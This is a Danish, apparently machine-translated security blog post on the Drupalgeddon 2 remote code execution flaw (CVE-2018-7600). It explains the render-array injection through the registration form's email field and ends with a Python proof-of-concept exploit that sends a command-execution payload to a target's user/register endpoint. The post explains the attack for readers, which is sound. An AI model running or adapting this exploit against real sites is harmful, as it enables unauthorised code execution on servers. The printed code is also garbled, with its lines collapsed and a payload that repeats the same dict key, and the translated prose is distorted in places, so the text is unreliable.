Drupalgeddon 2 RCE-SecPod Blog

mere end en million aktive hjemmesider bruger Drupal, hvilket gør det til det næstmest anvendte content management system på verdensplan. Den 28. marts 2018 frigav Drupal sikkerhedsrettelser til versioner 6 til 8, der tyder på at opdatere med det samme og markere den underliggende sårbarhed (CVE-2018-7600) som kritisk med fjernkørsel af kode. Scanningen og angrebene på hjemmesiderne ved hjælp af Drupal steg eksponentielt som forventet, men der var ingen rapporter om, at sårbarheden blev udnyttet i naturen. Så for et par dage siden offentliggjorde en russisk sikkerhedsforsker en proof-of-concept (POC) udnyttelseskode på GitHub og Internet gik berserk.

udnyttelse samlet og angribere begyndte at bruge det til at installere cryptocurrency minearbejdere og bagdøre. Det antages, at en af Monero miner-kampagnerne, der leverede Kmrig, mens de udnyttede sårbarheden (CVE-2017-10271) i Oracle-Blogiske servere er involveret.

ifølge statistikker er 90% af Drupalgeddon 2-angreb intet andet end scanninger for at finde sårbare systemer, 3% er bagdørsinfektionsforsøg og 2% Forsøger at køre kryptominerere.

Drupal advarede i sin rådgivende “sites ikke lappet af onsdag, 2018-04-11 kan blive kompromitteret” og “simpelthen opdatering Drupal vil ikke fjerne bagdøre eller rette kompromitterede sites. Hvis du finder ud af, at din side allerede er patched, men du ikke gjorde det, kan det være et symptom på, at siden blev kompromitteret. Nogle angreb i fortiden har anvendt programrettelsen som en måde at garantere, at kun den angriber har kontrol over siden.”

teknisk Jargon

Drupal introducerede sin form API i Drupal 6, som tillod ændring af formulardataene under formulargengivelsesprocessen. Dette revolutionerede den måde, markup-behandling fungerede på. I Drupal 7 blev form API generaliseret til det, der nu er kendt som “Gengivelige Arrays”. Denne udvidede API bruges til at repræsentere strukturen for de fleste af UI-elementerne i Drupal, såsom sider, blokke, noder og mere. Gengivelige arrays indeholder metadata, der bruges i gengivelsesprocessen. Disse gengivelige arrays er en nøgleværdistruktur, hvor egenskabsnøglerne starter med et hash-tegn (#). Et eksempel:

Drupal frigav en patch, der kun tilføjede en enkelt klasseanmodning med en stripDangerousValues-metode, der fjerner alle elementerne i et inputarray for nøgler, der starter med et hash-tegn. Denne metode desinficerer inputdata i $_GET, $_POST & $_COOKIES i de meget tidlige stadier af Drupals bootstrap (umiddelbart efter indlæsning af sidekonfigurationerne). Det kan antages, at grunden til, at plasteret blev frigivet, er at gøre en eksisterende sårbarhed sværere at finde.

sårbarheden blev fundet i formularerne. Brugerregistreringsformularen, der ikke kræver godkendelse og kan tilgås anonymt, indeholder flere inputfelter og kan udnyttes.

Billedkilde : Checkpoint, Dofinity

det var meget sandsynligt, at indsprøjtning af et gengiveligt array ville udnytte sårbarheden, spørgsmålet var hvor?

som det viser sig, renser feltet “E-mail-adresse” Ikke den type input, den modtager, hvilket gjorde det muligt for os at injicere det gengivelige array til formulararray-strukturen.

Billedkilde : Checkpoint, Dofinity

nu var alt, hvad vi havde brug for, for Drupal at gengive vores injicerede array. Da Drupal behandler vores injicerede array som en værdi og ikke som et element, vi havde brug for at narre Drupal til at gengive det. Drupal gør et array på side belastning begivenhed eller via Drupal ajak API.

feltet “billede” i brugerregistreringsformularen bruger Drupals API til at uploade et billede og erstatte det med et miniaturebillede af det uploadede billede.

Proof-of-concept (POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Skriv et svar

Din e-mailadresse vil ikke blive publiceret.

Related Posts